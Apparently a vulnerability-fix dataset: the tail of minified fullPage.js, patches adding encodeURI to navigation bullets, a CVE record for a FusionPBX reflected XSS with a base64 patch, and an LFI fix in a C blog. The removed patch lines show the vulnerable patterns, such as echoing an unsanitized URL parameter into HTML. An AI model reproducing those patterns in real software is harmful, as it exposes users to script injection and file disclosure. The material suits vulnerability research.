t=""===n?"":n+"px";ln().h.forEach((function(n){w(n.item,{height:t})}))}function ii(){var n,t,e=i.location.hash;if(e.length){var o=e.replace("#","").split("/"),r=e.indexOf("#/")>-1;n=r?"/"+o[1]:decodeURIComponent(o[0]);var a=r?o[2]:o[1];a&&a.length&&(t=decodeURIComponent(a))}return{section:n,J:t}}function ri(){V("hashchange",ai)}function ai(){if(!rn.D&&!Qn().lockAnchors){var n=ii(),t=n.section,e=n.J,o=void 0===rn.j,i=void 0===rn.j&&void 0===e&&!rn.A;t&&t.length&&(t&&t!==rn.j&&!o||i&&!ct()||!rn.A&&rn.L!=e&&!ct())&&on.u("onScrollPageAndSlide",{zn:t,slideAnchor:e})}}function li(n){var t=n.target;L(t,Qn().menu+" [data-menuanchor]")&&ui.call(t,n)}function ui(n){an({S:"menu"}),!v(Qn().menu)[0]||!Qn().lockAnchors&&Qn().anchors.length||(I(n),on.u("onMenuClick",{anchor:W(this,"data-menuanchor")}))}function ci(n){var t=n.target;t&&L(t,"#fp-nav a")?de.call(t,n.e):X(t,".fp-tooltip")?se.call(t):(X(t,Cn)||null!=L(t,Cn))&&Zt.call(t,n.e)}c.reBuild=ei,on.l("bindEvents",(function(){Z("resize",ti),on.l("onDestroy",ni)})),c.setLockAnchors=function(n){Qn().lockAnchors=n},on.l("bindEvents",(function(){Z("hashchange",ai),on.l("onDestroy",ri)})),on.l("bindEvents",(function(){B("wheel",Ze.Sn,Re()),on.l("scrollBeyondFullpage",Fe),on.l("onKeyDown",Ve)})),on.l("bindEvents",(function(){on.l("onClickOrTouch",li)})),on.l("bindEvents",(function(){on.l("onClickOrTouch",ci)}));var si,fi=0;function di(n){var t,e,o,i,r;if(G(Un(),"onScroll"),!rn.O&&ln().g&&($(ln().h),!ln().M&&!ln().Tn&&(!Qn().autoScrolling||Qn().scrollBar||lt("dragAndMove"))&&!st())){var a=lt("dragAndMove")?Math.abs(ut("dragAndMove","getCurrentScroll")):C(Qn()),l=function(n){var t=n>fi?"down":"up";return fi=n,an({I:n}),t}(a),u=0,c=a+g()/2,s=(lt("dragAndMove")?ut("dragAndMove","getDocumentHeight"):Rt.scrollHeight-g())===a,f=(ut("responsiveSlides","areSlidesSections")?ut("responsiveSlides","panels"):null)||ln().h;if(an({scrollY:a}),s)u=f.length-1;else if(a)for(var d=0;d<f.length;++d)(L(f[d].item,yn)||f[d].item).offsetTop<=c&&(u=d);else u=0;if(o=l,i=ln().g.item.offsetTop,r=i+g(),("up"==o?r>=C(Qn())+g():i<=C(Qn()))&&(h(ln().g.item,bn)||(O(ln().g.item,bn),E(H(ln().g.item),bn))),e=(t=f[u]).item,!ut("responsiveSlides","isCurrentSectionActive",u)&&!t.isActive){an({D:!0});var v,p,m=ln().g.item,w=ln().g.index()+1,b=wt(ln().g,e),S=ut("responsiveSlides","getSectionAnchor",t)||t.anchor,y=t.index()+1,M=t.activeSlide,T={g:m,sectionIndex:y-1,anchorLink:S,element:e,leavingSection:w,direction:b,items:{origin:ln().g,destination:t}};if(M&&(p=M.anchor,v=M.index()),rn.canScroll)E(f.filter((function(n){return n.index()!==t.index()})).map((function(n){return n.item})),mn),O(e,mn),ut("parallax","afterLoad"),Y(Qn().beforeLeave)&&no("beforeLeave",T),Y(Qn().onLeave)&&kt("onLeave",T),Y(Qn().afterLoad)&&kt("afterLoad",T),ut("resetSliders","apply",{localIsResizing:rn.O,leavingSection:w}),zt(m),Lt(e),Dt(e),$e(S,y-1),Qn().anchors.length&&an({j:S}),It(v,p,S),oe();clearTimeout(si),si=setTimeout((function(){an({D:!1})}),100)}}}function vi(n,t){void 0!==t?(t=t.replace(/ /g,"").split(",")).forEach((function(t){Yt(n,t,"k")})):(Yt(n,"all","k"),Qn().keyboardScrolling=n)}function pi(n){var t=n.index();void 0!==Qn().anchors[t]&&n.isActive&&$e(Qn().anchors[t],t),Qn().menu&&Qn().css3&&null!=L(v(Qn().menu)[0],dn)&&v(Qn().menu).forEach((function(n){Rt.appendChild(n)}))}function hi(){w(function(n,t){var e=[n];do{n=n.parentNode,e.push(n)}while(!X(n,"body"));return e}(Un()),{height:"100%",position:"relative"}),O(Un(),fn),O(Nt,gn),an({W:g()}),E(Un(),hn),ce(),ut("parallax","init");for(var n=ln().G,t=0;t<n.length;t++){var e=n[t],o=e.tn;e.item.setAttribute("data-fp-styles",W(e.item,"style")),ke(e),pi(e),o.length>0&&xe(e)}Qn().fixedElements&&Qn().css3&&v(Qn().fixedElements).forEach((function(n){Rt.appendChild(n)})),Qn().navigation&&fe(),v('iframe[src*="youtube.com/embed/"]',Un()).forEach((function(n){var t,e;e=W(t=n,"src"),t.setAttribute("src",e+(/\?/.test(e)?"&":"?")+"enablejsapi=1")})),ut("fadingEffect","apply"),ut("waterEffect","init"),ut("dropEffect","init"),ut("cards","init"),Qn().scrollOverflow&&Te.rn()}function gi(){var n,t,e=ln().g,o=ln().g.item;O(o,bn),Lt(o),qe(),Dt(o),t=ko((n=ii()).section),n.section&&t&&(void 0===t||t.index()!==y(Ee))||!Y(Qn().afterLoad)||kt("afterLoad",{g:o,element:o,direction:null,anchorLink:e.anchor,sectionIndex:e.index(),items:{origin:ln().g,destination:ln().g}}),Y(Qn().afterRender)&&kt("afterRender"),G(Un(),"afterRender")}function mi(n,t){void 0!==t?(t=t.replace(/ /g,"").split(",")).forEach((function(t){Yt(n,t,"m")})):Yt(n,"all","m"),G(Un(),"setAllowScrolling",{value:n,Ln:t})}function wi(){var n=ii(),t=n.section,e=n.J;t&&(Qn().animateAnchor?jo(t,e):_o(t,e))}on.l("onDestroy",(function(){clearTimeout(si),clearTimeout(void 0)})),on.l("bindEvents",(function(){Z("scroll",di),r.body.addEventListener("scroll",di),on.l("onScrollPageAndSlide",(function(n){jo(n.zn,n.slideAnchor)})),on.l("onMenuClick",(function(n){zo(n.anchor,void 0)})),on.l("onScrollOverflowScrolled",(function(n){("down"===n.direction?io:ro)()})),on.l("scrollPage",(function(n){to(n.destination)}))})),on.l("onDestroy",(function(){V("scroll",di)})),c.getActiveSlide=function(){return Et(ln().g.activeSlide.item)},c.getScrollX=function(){return rn.scrollX},on.l("bindEvents",(function(){on.l("onDestroy",qt),on.l("landscapeScroll",(function(n){_t(n.slides,n.destination)})),on.l("moveSlideRight",(function(n){Eo(n.section)})),on.l("moveSlideLeft",(function(n){Oo(n.section)}))})),on.l("bindEvents",(function(){var n=Qn().credits.position,t=["left","right"].indexOf(n)>-1?"".concat(n,": 0;"):"",e='\n        <div class="fp-watermark" style="'.concat(t,'">\n            <a href="https://alvarotrigo.com/fullPage/" \n                rel="nofollow noopener" \n                target="_blank" \n                style="text-decoration:none; color: #000;">\n                    ').concat(Qn().credits.label,"\n            </a>\n        </div>\n    "),o=$(rn.h),i=Qn().credits.enabled&&!rn.Rn;o&&o.item&&i&&o.item.insertAdjacentHTML("beforeend",e)})),function(){on.l("onInitialise",(function(){var t,l;an({Rn:(Qn().licenseKey,t=Qn().licenseKey,l=function(t){var e=parseInt("514").toString(16);if(!t||t.length<29||4===t.split(n[0]).length)return null;var o=["Each","for"][i()]().join(""),l=t[["split"]]("-"),u=[];l[o]((function(n,t){if(t<4){var o=function(n){var t=n[n.length-1],e=["NaN","is"][i()]().join("");return window[e](t)?r(t):function(n){return n-mn.length}(t)}(n);u.push(o);var a=r(n[o]);if(1===t){var l=["pa","dS","t","art"].join("");a=a.toString()[l](2,"0")}e+=a,0!==t&&1!==t||(e+="-")}}));var c=0,s="";return t.split("-").forEach((function(n,t){if(t<4){for(var e=0,o=0;o<4;o++)o!==u[t]&&(e+=Math.abs(r(n[o])),isNaN(n[o])||c++);var i=a(e);s+=i}})),s+=a(c),{Nn:new Date(e+"T00:00"),Pn:e.split("-")[2]===8*(mn.length-2)+"",Cn:s}}(t),l&&(Qn().credits&&l&&l.Nn<=e&&l.Cn===t.split(n[0])[4]||function(n){var t=o[i()]().join("");return n&&0===t.indexOf(n)&&n.length===t.length}(t)||l.Pn)||!1)})}));var n=["-"],t="2022-3-12".split("-"),e=new Date(t[0],t[1],t[2]),o=["se","licen","-","v3","l","gp"];function i(){return[["re","verse"].join("")]["".length]}function r(n){return isNaN(n)?n.charCodeAt(0)-72:n}function a(n){var t=72+n;return t>90&&t<97&&(t+=15),String.fromCharCode(t).toUpperCase()}}(),c.setKeyboardScrolling=vi,c.shared.Hn=gi,c.setAllowScrolling=mi;var bi={};function Si(){return bi}var yi,Mi,Ti,Ai,xi=!h(Rt,vt("OHNsd3AtZnVsbHBhZ2UtanM5T20="));function Oi(n){if(Mi=r.createElement("div"),yi=vt("MTIzPGRpdj48YSBocmVmPSJodHRwOi8vYWx2YXJvdHJpZ28uY29tL2Z1bGxQYWdlL2V4dGVuc2lvbnMvIiBzdHlsZT0iY29sb3I6ICNmZmYgIWltcG9ydGFudDsgdGV4dC1kZWNvcmF0aW9uOm5vbmUgIWltcG9ydGFudDsiPlVubGljZW5zZWQgZnVsbFBhZ2UuanMgRXh0ZW5zaW9uPC9hPjwvZGl2PjEyMw=="),xi||(yi=yi.replace("extensions/","").replace("Extension","")),Mi.innerHTML=yi,Mi=Mi.firstChild,"MutationObserver"in window&&new MutationObserver(ki).observe(r.body,{childList:!0,subtree:!1}),(!xi||lt(n)&&c[n])&&(!function(n){var t=void 0!==Si()[n]&&Si()[n].length,e=[],o=!1;return x(Si()[n])?e=Si()[n]:e.push(Si()[n]),e.forEach((function(e){var i=function(){if(r.domain.length){for(var n=r.domain.replace(/^(www\.)/,"").split(".");n.length>2;)n.shift();return n.join(".").replace(/(^\.*)|(\.*$)/g,"")}return""}(),a=["MTM0bG9jYWxob3N0MjM0","MTM0MC4xMjM0","MTM0anNoZWxsLm5ldDIzNA==","UDdDQU5ZNlNN","NTY3YnVuZGxlNzg5","NTU1S2V5Nzc3"],l=vt(a[0]),u=vt(a[1]),c=vt(a[2]),s=vt(a[3]),f=vt(a[4]),d=vt(a[5]),v=void 0!==Qn()[f+d];t=t||v;var p=[l,u,c].indexOf(i)<0&&0!==i.length;if(!t&&!v&&p)return!1;var h=t?vt(e):"",g=(h=h.split("_")).length>1&&h[1].indexOf(n,h[1].length-n.length)>-1,m=h.length>1&&h[1].toLowerCase().indexOf(f)>-1,w=h[0].indexOf(i,h[0].length-i.length)<0,b=g||m;o=o||!(w&&p&&s!=h[0])&&b||!p})),o}(n)||!xi)){Ei();var t=vt("MzQ1c2V0SW50ZXJ2YWwxMjM=");window[t](Ei,2e3)}}function Ei(){Mi&&(Ai||(Math.random()<.5?dt(Rt,Mi):k(Mi,Rt),Ai=!0),Mi.setAttribute("style",vt("MTIzei1pbmRleDo5OTk5OTk5O3Bvc2l0aW9uOmZpeGVkO3RvcDoyMHB4O2JvdHRvbTphdXRvO2xlZnQ6MjBweDtyaWdodDphdXRvO2JhY2tncm91bmQ6cmVkO3BhZGRpbmc6N3B4IDE1cHg7Zm9udC1zaXplOjE0cHg7Zm9udC1mYW1pbHk6YXJpYWw7Y29sb3I6I2ZmZjtkaXNwbGF5OmlubGluZS1ibG9jazt0cmFuc2Zvcm06dHJhbnNsYXRlM2QoMCwwLDApO29wYWNpdHk6MTtoZWlnaHQ6YXV0bzt3aWR0aDphdXRvO3pvb206MTttYXJnaW46YXV0bztib3JkZXI6bm9uZTt2aXNpYmlsaXR5OnZpc2libGU7Y2xpcC1wYXRoOm5vbmU7MTIz").replace(/;/g,vt("MTIzICFpbXBvcnRhbnQ7MzQ1"))))}function ki(n){n.forEach((function(n){if(n.removedNodes[0]&&n.removedNodes[0].isEqualNode(Mi)){clearTimeout(Ti);var t=vt("bDIwc2V0VGltZW91dDAzbA==");Ti=window[t](Di,900)}}))}function Di(){Ai=!1}function ji(){var n=Qn().licenseKey;Qn()&&rn.Rn||r.domain.indexOf("alvarotrigo.com")>-1?n&&n.length:(s("error","Fullpage.js requires a `licenseKey` option. Read about it on the following URL:"),s("error","https://github.com/alvarotrigo/fullPage.js#options")),h(Nt,gn)?s("error","Fullpage.js can only be initialized once and you are doing it multiple times!"):(Qn().continuousVertical&&(Qn().loopTop||Qn().loopBottom)&&(Qn().continuousVertical=!1,s("warn","Option `loopTop/loopBottom` is mutually exclusive with `continuousVertical`; `continuousVertical` disabled")),!Qn().scrollOverflow||!Qn().scrollBar&&Qn().autoScrolling||s("warn","Options scrollBar:true and autoScrolling:false are mutually exclusive with scrollOverflow:true. Sections with scrollOverflow might not work well in Firefox"),!Qn().continuousVertical||!Qn().scrollBar&&Qn().autoScrolling||(Qn().continuousVertical=!1,s("warn","Scroll bars (`scrollBar:true` or `autoScrolling:false`) are mutually exclusive with `continuousVertical`; `continuousVertical` disabled")),Qn().anchors.forEach((function(n){var t=[].slice.call(v("[name]")).filter((function(t){return W(t,"name")&&W(t,"name").toLowerCase()==n.toLowerCase()})),e=[].slice.call(v("[id]")).filter((function(t){return W(t,"id")&&W(t,"id").toLowerCase()==n.toLowerCase()}));if(e.length||t.length){s("error","data-anchor tags can not have the same value as any `id` element on the site (or `name` element for IE).");var o=e.length?"id":"name";(e.length||t.length)&&s("error",'"'+n+'" is is being used by another element `'+o+"` property")}})))}function zi(){return{options:Qn(),internals:{container:Un(),canScroll:rn.canScroll,isScrollAllowed:Gt(),getDestinationPosition:eo,isTouch:u,c:Oi,getXmovement:Kt,removeAnimation:bt,getTransforms:St,lazyLoad:Lt,addAnimation:mt,performHorizontalMove:Jt,landscapeScroll:_t,silentLandscapeScroll:ne,keepSlidesPosition:Ke,silentScroll:Mt,styleSlides:xe,styleSection:ke,scrollHandler:di,getEventsPage:Mo,getMSPointer:To,isReallyTouch:bo,usingExtension:lt,toggleControlArrows:Ut,touchStartHandler:So,touchMoveHandler:wo,nullOrSection:Ot,items:{SectionPanel:le,SlidePanel:ue,Item:$n},getVisible:d,getState:ln,updateState:oe,getPanels:function(){return rn.U},getSections:function(){return rn.h},setActiveSection:function(n){rn.g=n}}}}function Li(n){var t=["NTY3YnVuZGxlNzg5","NTU1S2V5Nzc3"],e=vt(t[0]),o=vt(t[1]),i=void 0!==Qn()[e+o],r="fp_"+n+"Extension";Si()[n]=i?Qn()[e+o]:Qn()[n+o],c[n]=void 0!==window[r]?new window[r]:null,c[n]&&c[n].c(n)}function Ri(n,t){var e;if(Rt=v("body")[0],Nt=v("html")[0],Pt=v("html, body"),!h(Nt,gn))return"touchWrapper",e="string"==typeof n?v(n)[0]:n,Fn.touchWrapper=e,function(n){Xn=p({},Fn,n),Gn=Object.assign({},Xn)}(t),function(n){Vn=n}("string"==typeof n?v(n)[0]:n),on.u("onInitialise"),ji(),c.getFullpageData=zi,c.version="4.0.4",c.test=Object.assign(c.test,{top:"0px",_:"translate3d(0px, 0px, 0px)",K:function(){for(var n=[],t=0;t<v(Qn().sectionSelector,Un()).length;t++)n.push("translate3d(0px, 0px, 0px)");return n}(),left:function(){for(var n=[],t=0;t<v(Qn().sectionSelector,Un()).length;t++)n.push(0);return n}(),options:Qn(),setAutoScrolling:null}),c.shared=Object.assign(c.shared,{Hn:null,Dn:!1}),i.fullpage_api=c,i.fullpage_extensions=!0,Un()&&(on.u("beforeInit"),Li("continuousHorizontal"),Li("scrollHorizontally"),Li("resetSliders"),Li("interlockedSlides"),Li("responsiveSlides"),Li("fadingEffect"),Li("dragAndMove"),Li("offsetSections"),Li("scrollOverflowReset"),Li("parallax"),Li("cards"),Li("dropEffect"),Li("waterEffect"),ut("dragAndMove","init"),ut("responsiveSlides","init"),ie(),oe(),Qn().scrollBar=Qn().scrollBar||Qn().hybrid,Kn(),hi(),we(!0),mi(!0),Yo(!0),pe(Qn().autoScrolling,"internal"),be(),Ct(),"complete"===r.readyState&&wi(),Z("load",wi),gi(),xi||Oi("l"),ie(),oe(),on.u("bindEvents"),ut("dragAndMove","turnOffTouch")),i.fullpage_api;ji()}return c.destroy=function(n){G(Un(),"destroy",n),pe(!1,"internal"),mi(!0),Yo(!1),vi(!1),O(Un(),hn),on.u("onDestroy"),ut("dragAndMove","destroy"),n&&(Mt(0),v("img[data-src], source[data-src], audio[data-src], iframe[data-src]",Un()).forEach((function(n){tn(n,"src")})),v("img[data-srcset]").forEach((function(n){tn(n,"srcset")})),_(v("#fp-nav, .fp-slidesNav, .fp-controlArrow")),w(nt(ln().h),{height:"","background-color":"",padding:""}),w(nt(ln().slides),{width:""}),w(Un(),{height:"",position:"","-ms-touch-action":"","touch-action":""}),w(Pt,{overflow:"",height:""}),E(Nt,gn),E(Rt,vn),Rt.className.split(/\s+/).forEach((function(n){0===n.indexOf("fp-viewing")&&E(Rt,n)})),nt(ln().U).forEach((function(n){Qn().scrollOverflow&&E(n,Rn),E(n,"fp-table active "+bn),W(n,"data-fp-styles")&&n.setAttribute("style",W(n,"data-fp-styles")),h(n,Sn)&&!Yn&&n.removeAttribute("data-anchor")})),bt(Un()),[Mn,zn,Dn].forEach((function(n){v(n,Un()).forEach((function(n){z(n)}))})),w(Un(),{"-webkit-transition":"none",transition:"none"}),i.scrollTo(0,0),[Sn,xn,jn].forEach((function(n){E(v("."+n),n)})))},i.fp_easings=p(i.fp_easings,{easeInOutCubic:function(n,t,e,o){return(n/=o/2)<1?e/2*n*n*n+t:e/2*((n-=2)*n*n+2)+t}}),i.jQuery&&function(n,t){n&&t?n.fn.fullpage=function(e){e=n.extend({},e,{$:n}),new t(this[0],e),Object.keys(c).forEach((function(n){Qn().$.fn.fullpage[n]=c[n]}))}:s("error","jQuery is required to use the jQuery fullpage adapter!")}(i.jQuery,Ri),Ri}));

From 368cf10ea52ab294b08c4ede4d90339616dad4ce Mon Sep 17 00:00:00 2001
From: ranjit-git <pahan.ranjit0201@gmail.com>
Date: Tue, 12 Apr 2022 22:57:48 +0530
Subject: [PATCH 4/5] Update sections.js

---
 src/js/nav/sections.js | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/js/nav/sections.js b/src/js/nav/sections.js
index c510e552b..bb23348b3 100644
--- a/src/js/nav/sections.js
+++ b/src/js/nav/sections.js
@@ -64,7 +64,7 @@ export function addVerticalNavigation(){
             link = section.anchor;
         }
 
-        li += '<li><a href="#' + link + '"><span class="fp-sr-only">' + getBulletLinkName(section.index(), 'Section') + '</span><span></span></a>';
+        li += '<li><a href="#' + encodeURI(link) + '"><span class="fp-sr-only">' + encodeURI(getBulletLinkName(section.index(), 'Section')) + '</span><span></span></a>';
 
         // Only add tooltip if needed (defined by user)
         var tooltip = getOptions().navigationTooltips[section.index()];
@@ -98,4 +98,4 @@ export function sectionBulletHandler(e){
     EventEmitter.emit('scrollPage', {
         destination: getState().sections[indexBullet]
     });
-}
\ No newline at end of file
+}

From 1bfccc545c1d165a6f0d3982467538404b50a2ed Mon Sep 17 00:00:00 2001
From: ranjit-git <pahan.ranjit0201@gmail.com>
Date: Tue, 12 Apr 2022 22:58:24 +0530
Subject: [PATCH 5/5] Update slides.js

---
 src/js/nav/slides.js | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/js/nav/slides.js b/src/js/nav/slides.js
index 731a7d0a4..cd1cfff95 100644
--- a/src/js/nav/slides.js
+++ b/src/js/nav/slides.js
@@ -57,7 +57,7 @@ export function addSlidesNavigation(section){
 
     for(var i=0; i< numSlides; i++){
         var slide = utils.$(SLIDE_SEL, sectionElem)[i];
-        utils.appendTo(utils.createElementFromHTML('<li><a href="#"><span class="fp-sr-only">'+ getBulletLinkName(i, 'Slide', slide) +'</span><span></span></a></li>'), utils.$('ul', nav)[0] );
+        utils.appendTo(utils.createElementFromHTML('<li><a href="#"><span class="fp-sr-only">'+ encodeURI(getBulletLinkName(i, 'Slide', slide)) +'</span><span></span></a></li>'), utils.$('ul', nav)[0] );
     }
 
     //centering it
@@ -65,4 +65,4 @@ export function addSlidesNavigation(section){
 
     var activeSlideIndex = section.activeSlide ? section.activeSlide.index() : 0;
     utils.addClass(utils.$('a', utils.$('li', nav)[activeSlideIndex] ), ACTIVE);
-}
\ No newline at end of file
+}", "url": "https://github.com/alvarotrigo/fullpage.js/commit/e7a5db42711700c8a584e61b5e532a64039fe92b.patch" } ]
null
CVE-2019-16976
In FusionPBX up to 4.5.7, the file app\destinations\destination_imports.php uses an unsanitized "query_string" variable coming from the URL, which is reflected on 2 occasions in HTML, leading to XSS.
[ { "commit_message": "[PATCH] Update destination_imports.php app/destinations/destination_imports.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)", "patch_text_b64": "RnJvbSBkNmVhMDJkODk2YjJjNTdkZWM0OTFlZTNiMzZlYzEwMjYzOTI3MGJlIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBGdXNpb25QQlggPG1hcmtqY3JhbmVAZ21haWwuY29tPgpEYXRlOiBUdWUsIDEzIEF1ZyAyMDE5IDAwOjA3OjI5IC0wNjAwClN1YmplY3Q6IFtQQVRDSF0gVXBkYXRlIGRlc3RpbmF0aW9uX2ltcG9ydHMucGhwCgotLS0KIGFwcC9kZXN0aW5hdGlvbnMvZGVzdGluYXRpb25faW1wb3J0cy5waHAgfCA0ICsrLS0KIDEgZmlsZSBjaGFuZ2VkLCAyIGluc2VydGlvbnMoKyksIDIgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvYXBwL2Rlc3RpbmF0aW9ucy9kZXN0aW5hdGlvbl9pbXBvcnRzLnBocCBiL2FwcC9kZXN0aW5hdGlvbnMvZGVzdGluYXRpb25faW1wb3J0cy5waHAKaW5kZXggYzU5MjcxYWZjZjMuLjEzMTI0YzI4NDY1IDEwMDY0NAotLS0gYS9hcHAvZGVzdGluYXRpb25zL2Rlc3RpbmF0aW9uX2ltcG9ydHMucGhwCisrKyBiL2FwcC9kZXN0aW5hdGlvbnMvZGVzdGluYXRpb25faW1wb3J0cy5waHAKQEAgLTQ2Nyw3ICs0NjcsNyBAQCBmdW5jdGlvbiBnZXRfcGFyZW50KCRzY2hlbWEsJHRhYmxlX25hbWUpIHsKIAkJCWVjaG8gIjx0cj5cbiI7DQogCQkJZWNobyAiPHRkIGFsaWduPSdsZWZ0JyB3aWR0aD0nMzAlJyBub3dyYXA9J25vd3JhcCc+PGI+Ii4kdGV4dFsnaGVhZGVyLWRlc3RpbmF0aW9uc19pbXBvcnQnXS4iPC9iPjwvdGQ+XG4iOw0KIAkJCWVjaG8gIjx0ZCB3aWR0aD0nNzAlJyBhbGlnbj0ncmlnaHQnPlxuIjsNCi0JCQllY2hvICIJPGlucHV0IHR5cGU9J2J1dHRvbicgY2xhc3M9J2J0bicgbmFtZT0nJyBhbHQ9JyIuJHRleHRbJ2J1dHRvbi1iYWNrJ10uIicgb25jbGljaz1cIndpbmRvdy5sb2NhdGlvbj0nL2FwcC9kZXN0aW5hdGlvbnMvZGVzdGluYXRpb25zLnBocD8iLiRfR0VUWyJxdWVyeV9zdHJpbmciXS4iJ1wiIHZhbHVlPSciLiR0ZXh0WydidXR0b24tYmFjayddLiInPlxuIjsNCisJCQllY2hvICIJPGlucHV0IHR5cGU9J2J1dHRvbicgY2xhc3M9J2J0bicgbmFtZT0nJyBhbHQ9JyIuJHRleHRbJ2J1dHRvbi1iYWNrJ10uIicgb25jbGljaz1cIndpbmRvdy5sb2NhdGlvbj0nL2FwcC9kZXN0aW5hdGlvbnMvZGVzdGluYXRpb25zLnBocCdcIiB2YWx1ZT0nIi4kdGV4dFsnYnV0dG9uLWJhY2snXS4iJz5cbiI7DQogCQkJZWNobyAiPC90ZD5cbiI7DQogCQkJZWNobyAiPC90cj5cbiI7DQogCQkJZWNobyAiPHRyPlxuIjsNCkBAIC05MzcsNyArOTM3LDcgQEAgZnVuY3Rpb24gZ2V0X3BhcmVudCgkc2NoZW1hLCR0YWJsZV9uYW1lKSB7CiAJZWNobyAiCQkiLiR0ZXh0WydkZXNjcmlwdGlvbi1kZXN0aW5hdGlvbl9pbXBvcnQnXS4iXG4iOw0KIAllY2hvICIJPC90ZD5cbiI7DQogCWVjaG8gIgk8dGQgdmFsaWduPSd0b3AnIHdpZHRoPSc3MCUnIGFsaWduPSdyaWdodCc+XG4iOw0KLQllY2hvICIJCTxpbnB1dCB0eXBlPSdidXR0b24nIGNsYXNzPSdidG4nIG5hbWU9JycgYWx0PSciLiR0ZXh0WydidXR0b24tYmFjayddLiInIG9uY2xpY2s9XCJ3aW5kb3cubG9jYXRpb249Jy9hcHAvZGVzdGluYXRpb25zL2Rlc3RpbmF0aW9ucy5waHA/Ii4kX0dFVFsicXVlcnlfc3RyaW5nIl0uIidcIiB2YWx1ZT0nIi4kdGV4dFsnYnV0dG9uLWJhY2snXS4iJz5cbiI7DQorCWVjaG8gIgkJPGlucHV0IHR5cGU9J2J1dHRvbicgY2xhc3M9J2J0bicgbmFtZT0nJyBhbHQ9JyIuJHRleHRbJ2J1dHRvbi1iYWNrJ10uIicgb25jbGljaz1cIndpbmRvdy5sb2NhdGlvbj0nL2FwcC9kZXN0aW5hdGlvbnMvZGVzdGluYXRpb25zLnBocCdcIiB2YWx1ZT0nIi4kdGV4dFsnYnV0dG9uLWJhY2snXS4iJz5cbiI7DQogCS8vZWNobyAiCQk8aW5wdXQgbmFtZT0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4nIGlkPSdpbXBvcnQnIHZhbHVlPVwiIi4kdGV4dFsnYnV0dG9uLWltcG9ydCddLiJcIj5cbiI7DQogCWVjaG8gIgk8L3RkPlxuIjsNCiAJZWNobyAiCTwvdHI+XG4iOw==", "url": "https://github.com/fusionpbx/fusionpbx/commit/d6ea02d896b2c57dec491ee3b36ec102639270be.patch" } ]
n/a
GHSA-w62c-99j3-8frh
null
[ { "commit_message": "[PATCH] fixed LFI vulnerability main.c | 8 ++++++++ 1 file changed, 8 insertions(+)", "patch_text_b64": "RnJvbSBjZjcxNWQ5MTFkOGNlMTc5NjlhNzkyNmRlYTY1MWU5MzBjMjdlNzFhIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBsdWthc2VwcGxlIDxnaXRAbHVrYXNlcHBsZS5kZT4KRGF0ZTogRnJpLCAxNSBBdWcgMjAxNCAxMzo1MDoxOSArMDIwMApTdWJqZWN0OiBbUEFUQ0hdIGZpeGVkIExGSSB2dWxuZXJhYmlsaXR5CgotLS0KIG1haW4uYyB8IDggKysrKysrKysKIDEgZmlsZSBjaGFuZ2VkLCA4IGluc2VydGlvbnMoKykKCmRpZmYgLS1naXQgYS9tYWluLmMgYi9tYWluLmMKaW5kZXggNzhlMGU3Yi4uZWFiMjJjZSAxMDA2NDQKLS0tIGEvbWFpbi5jCisrKyBiL21haW4uYwpAQCAtMTg4LDYgKzE4OCwxNCBAQCB2b2lkIGJsb2dfaW5kZXgodm9pZCkgewogfQogCiB2b2lkIGJsb2dfcG9zdChjaGFyIHBvc3RfcGF0aFtdKSB7CisJaWYoc3RybGVuKHBvc3RfcGF0aCkgIT0gMCB8fCBwb3N0X3BhdGhbMF0gPT0gJy4nCisJCQl8fCBzdHJjaHIocG9zdF9wYXRoLCAnLycpID09IE5VTEwpIHsKKwkJc2VuZF9oZWFkZXIoIkNvbnRlbnQtdHlwZSIsICJ0ZXh0L3BsYWluIik7CisJCXRlcm1pbmF0ZV9oZWFkZXJzKCk7CisJCXByaW50ZigiTm8sIG15IGRlYXIgaDR4eHgwciA6KVxuWW91IHdvblwndCBkbyB0aGF0IDpwXG4iKTsKKwkJcmV0dXJuOworCX0KKwogCWlmKGZpbGVfZXhpc3RzKHBvc3RfcGF0aCkgPiAwKSB7CiAJCXN0cnVjdCBibG9ncG9zdCBwb3N0ID0gbWFrZV9ibG9ncG9zdChwb3N0X3BhdGgpOw==", "url": "https://github.com/sternenseemann/sternenblog/commit/cf715d911d8ce17969a7926dea651e930c27e71a.patch" } ]
null